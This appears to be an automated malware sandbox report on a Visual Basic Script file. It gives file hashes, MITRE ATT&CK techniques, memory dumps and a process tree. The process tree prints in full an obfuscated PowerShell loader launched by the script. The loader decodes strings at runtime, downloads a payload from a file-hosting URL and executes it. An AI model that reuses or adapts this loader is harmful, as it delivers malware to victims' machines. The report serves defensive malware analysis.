c0d20c1324c32ec11ee40a892c6ae0b954f6972e19ce9e976bcf565091f12cdd

General

Target

MPOL_74836582ZapytaniePotwierdzenie003424.vbs
Size

7KB
MD5

a74cf7fea2f317f537fadc3e2d34dee5
SHA1

1df8410433bba83aa58596cd88a9c084a5a8e43a
SHA256

c0d20c1324c32ec11ee40a892c6ae0b954f6972e19ce9e976bcf565091f12cdd
SHA512

ea1505953b80b96b450bc0cda83a1c3bd3001f057a874bce22646cd7ade2b4ed8fe39cff208255cb84eb60a931a3d73164d7ab05f7fee795bbbae4f5b82caa68
SSDEEP

192:8K9O+aSHwmoFMKNdYggfJtvK5I76yDP8Te:LaSHOFHNdYvu586dy

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2992	cmd.exe
3052	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3052	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2188	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 2992	2936	WScript.exe	30
PID 2936 wrote to memory of 2992	2936	WScript.exe	30
PID 2936 wrote to memory of 2992	2936	WScript.exe	30
PID 2992 wrote to memory of 3052	2992	cmd.exe	32
PID 2992 wrote to memory of 3052	2992	cmd.exe	32
PID 2992 wrote to memory of 3052	2992	cmd.exe	32
PID 2936 wrote to memory of 2188	2936	WScript.exe	33
PID 2936 wrote to memory of 2188	2936	WScript.exe	33
PID 2936 wrote to memory of 2188	2936	WScript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MPOL_74836582ZapytaniePotwierdzenie003424.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping aszzzw_6777.6777.6777.677e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\PING.EXE
    ping aszzzw_6777.6777.6777.677e
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Svigagtige dimerised Oprettelsesdokumenter Rhinodynia Zetas #>;$Desiringly147='Grunted';<#Iltelegrammet Hemispheral Acromelalgia Deboshed Corruptibleness #>;$Masonically=$Nervepatientens+$host.UI;If ($Masonically) {$Laengst++;}function Jus($Hovekatalogers){$Saneringsmodent=$Skrmplante+$Hovekatalogers.'Length'-$Laengst; for( $Isttes=4;$Isttes -lt $Saneringsmodent;$Isttes+=5){$Skovsvinerier++;$Snrer210+=$Hovekatalogers[$Isttes];$Skuebrdene='Kundemdets';}$Snrer210;}function Hyperromanticism140($Regelfaststtelsers){ & ($Andantinoer) ($Regelfaststtelsers);}$Courtezanry=Jus ' owlMBov.o Unlz R niFluslDiasl AnoaDay /Non. ';$Courtezanry+=Jus ' ad5Thro. Ska0 Adr Dece(Is.aWRotaiInvanRad.dBracoGawaw M,rsFren Ch,pNOndsT,til Rose1Skr,0Ungd. B t0Ig,i;Str ParWNoneiTra nFar,6Krem4S,je; Ber Mot x Ka.6S,at4Ha,l;Cykl BaghrAfstv itr: Hol1 All3 it1 or.Fugl0 ava)Stri FyriGStegeGenocOmgakIgnao rre/As p2Depr0 Mis1calc0 Spo0Penk1side0 Enf1Retr WeapFPropiLaserRemoe,kolfLiv,oBarbxBlu /Unf.1Pol,3 Unf1utrn. mb0Bade ';$Retspraksisens=Jus 'KariU,rivsPhyteLet.rtana-Unfra StygSmmeeBorgNTil TBlac ';$Miljforandringers=Jus 'LegahUnivtenketKloapStats boo:Recu/Ergo/gae,gsolboHyd vFolkaHumel RatlMahocFati.SerpoPaasrPitagBibe/R gnrBegae ird DefnSta iSamfnTo lgEners IndbF rsl.tatt .ydeTr lr idtnM,dheCervs oma.Sou.aAsylsCan iOstr ';$Croises=Jus ' ,kr>Nerv ';$Andantinoer=Jus ' ResIAnamESo iXViva ';$Befogging='Italiana';$Recarbon='\Arkaiserings.Slg';Hyperromanticism140 (Jus 'Forh$ empgPr,clAg eofrueBOms.AM.nolOver:NiveA pidnVagta ispCThyrl DisiFrihsSegriOu,dsKnu,1Vrkb4E gl7,arv=A ab$ s eE.uniNCog VAnt :Ae iaForfpTeraPKer dNoncaConttWienAluge+Arv,$,ambrStteeExcuc issAkontr S,kb MayoWeasNStub ');Hyperromanticism140 (Jus ' hec$DefeG Ln Lr ckONonaB ForaTe.eLBrn :GenoAGrafuAlleT MulOSa.se Co.T SvrtRuboE Bra= P s$UnsoM ShaiEme.LStyrjNulsfAarro M,mrdoryASyndn InbDAnlirSpe,iNasaN KomG VodeyustRInflS Spy.Sprjs xaP SmrlVa dIBisetSub (Well$ PeacJeweRRetso S,di NitsEsseEUpshsSydv)Arb ');Hyperromanticism140 (Jus 'Ndp [Cyc n.ndiEOothT S,j.Ger.sskovEUd frRespvProhI U fCfedteSalvPPhylOSan.i Op.nS.orT antmSpilaFjolN lauaR liGUprue ChoRTuli]W nn:t.ed:Ansts heeBageCisskU MyorHeltI rustUrotyUdviPSc dr.ygaOUndstOro.O CryC idO talLHove Da a=Steg Kaff[H moNBesgETutotBird. ebySGerfEUni CSweauDyserOverIHomoT Picy,efrpLnkorUdstoMaantBiltORomaCafs.oC holCondTKavey KolPRdtue S,e]Tui :Hypo:smalTamucLKo ps N n1Nond2 Dep ');$Miljforandringers=$Autoette[0];$Panspermic=(Jus 'R od$Trepg alaLU.caoElecBEuryaGsteLFisk:spidTBstrEKloasGruntHikkUBeelD FesSUdskKC ieRUdp iSv.jvUalmN Madi CebnStruGPoinSW.ntf TraAfredcVindI mpelgr nIO det Unoe PretMeine.urunAmph=UzbenneoneBolsWSlen- AtmOmaliBCaatjSekaeKr mcAartTDimi .eadS ilYBlabSAfstTAsseeYallM Vrd.TripN Chee Sert ask.assuwTrameWoo.bFodecO chlPeroISp aeUd,anVasotThie ');Hyperromanticism140 ($Panspermic);Hyperromanticism140 (Jus 'Terp$NeksT Gr,eLydssU.ostPotpu OvedStabs supkJuntr SemiGearvMedln icri Skon tupg riss Pasf TilaMisecHemaiStatlpeaciWaistTempeBanktKr.peInexnEvin.U.reHStraeS,orahelmdPluseKanarArvesNyru[Scyl$kallRBetueToi t Ni sTrenpDigirS,igaCr skOl es lluiLinas Mo.esmagnKni.sUnde]Unib= D c$PilaC emaofolluSubvrMuditdisteSk rzRatiaKaninBortrB riylogi ');$Quickwittedness=Jus 'Reto$ VreTJordeNortsUncotUdspulitodFluesRea kJacor B ti MelvDirenInd,iNon,n resgLkkesWin f indamesac Snoitr nlBilliPlebtgenfe PertFasce BranLade.P eaDWal o BhiwVestnPurbl SkioAnsaaTricdPavoFAndriSvinlundeeMil (Ital$kro MAggriStrklKulmjPitcf Ru oViv rIndraO ryn AvldDr,jrPantiOpstnAarpg.erse inor upes Sam,xero$ BadGDiluo kvac SnnaRe drEskit oli2A.ea1Unde9Slvs) For ';$Gocart219=$Anaclisis147;Hyperromanticism140 (Jus ' ff$Epidg Bo lTom o PlabBaj,ARaadLFals:SukksPietuSojabJun.lUnb A.emiPLovlS d,ba HyprBaadYMats= ona(DiviTPutaE.envSG lit Ind-hundPDigraAmelt ElchUnke Ra i$SkipgIngaOOverc,choaScherUdaatGens2 uni1 Sha9 Ce ) Nu. ');while (!$Sublapsary) {Hyperromanticism140 (Jus 'Lo a$Can g.onilmidto Ydeb Ko.akautlTr d:BefjNWin,oen onSen.fTusioC,acc TilaOverl e r= Spe$Fo otOctarEquiuThriemed, ') ;Hyperromanticism140 $Quickwittedness;Hyperromanticism140 (Jus 'BullsFairt StrAF.reRArzaTOpha-TofasGru.LToruECha ERa rpAnn. Lope4 An ');Hyperromanticism140 (Jus ' Reg$Acetg loL R sONoncB RygAObumlhaar:AndeSTesku St BEposLPs.ca MenpUnhaS UdpaL vnREnviy Bac= Emb(So,ttTimbegerisN nptMinu- JivPBilmaSomntBaraHBeda Luk $Tov GTeksoW,pec UndaChe rLa,dT Boy2 Gle1Dejk9Cant)C st ') ;Hyperromanticism140 (Jus ' Whi$DgnkG afnl nsloLatebSvarA Worl Uno:GaloBIntiATwy g ystSPrehV tmmRDiffdAutoS ont=Sklr$ splG Fabl olOScrab ThaaMesilFe n: AmiF Rugh PolOPrevvCouneLledddameeHoicr DraNAcclE ins+Grin+.ava% pti$Espaa lyuGnu T ilobagse ClotRewiTStoreBray.EpigCStoroLatou DisNMemotCirc ') ;$Miljforandringers=$Autoette[$Bagsvrds];}$Turpentiny251=324334;$Oxalsyre=30504;Hyperromanticism140 (Jus 'Ryst$sk pGLydiL DisODistBProsA RetLGuil:,eliTOverotiltg TeerLandEMedlVUnatITrfssId moT umRgg dSEnc plej= A.k MaiG meteBro,TOpio-UncrcAnt.oQui N Kortka kESt,lNSto tpari Ga m$TeleGGenvo Bu C L vaCharr Lret rdi2Inco1 I,f9 Omn ');Hyperromanticism140 (Jus ' Bi $TomagPrecl bllo verbForlaExstl sp :ove T punrminuaThicuFlyvm IntaT.kkt nsaiSlagsUo mqStipxGyrerRo c ,ob=Rota Gale[TotaSToway AnpsUd nt,kateDig mFors.TilrC Homo.ixenScenvhoppe Fo rStubtBra.]axwe: se,:FagkFMajdr Do oDag mOb uB StaaVests ombeLrk 6Pebr4WaspS oystbyudrInfui.rnin QuigSubv( cap$ T.sTChevoFo.vgBewar ,moe ekvvInauiI.nosGed o ElerGaars,cor)Top ');Hyperromanticism140 (Jus ' Vul$D,ttG RoulRe aOReteBOmryAFavolTffe: DiaKDefaOPlseNBio tVal r KonaUndes SphtForusLazy Mano= Ej ,att[einaS relYGnidSWatetSy tEByggMTra .NedttneddeUvenX ablTRe n.IntreTrannBlokcFutuoP pidGieniFinan NedgBrud]Eugl:Wo,k:Frgna etsS,ltcSup,iSquaiSa b.Skurg Shie MelTR.crs Po T RetRBalaILendnA,agGCocc(H ds$Ove tvgtfrPjataIntrUDrnrM,ladaInsttFlueI Uf S utaQR diXHer,rH bn)Sing ');Hyperromanticism140 (Jus ' uns$unexgSuprl.pigoSub.BIn eaMe mLKase:JordbAurei Ag.mParlAnomiNFloga In,= Out$SimuKSowaOStrin TraTDorirA tia O.ts,esttP raSPaas.PerssIndiUK ffbLsagsScantDec.RNatuILambnfortGPr m(B.su$no ctBea,uP tcRSeecpLinjeA ronMiddt.haii SygNSeksyL wn2Forg5Subf1M rm, ye$Met,oB,stXdag AGipslMitosPteryKolorEr.aE For) iro ');Hyperromanticism140 $bimana;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2188-4-0x000007FEF5E8E000-0x000007FEF5E8F000-memory.dmp

Filesize
4KB

Download
memory/2188-6-0x0000000001EA0000-0x0000000001EA8000-memory.dmp

Filesize
32KB

Download
memory/2188-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2188-7-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-10-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-9-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-11-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2188-12-0x000007FEF5E8E000-0x000007FEF5E8F000-memory.dmp

Filesize
4KB

Download
memory/2188-13-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing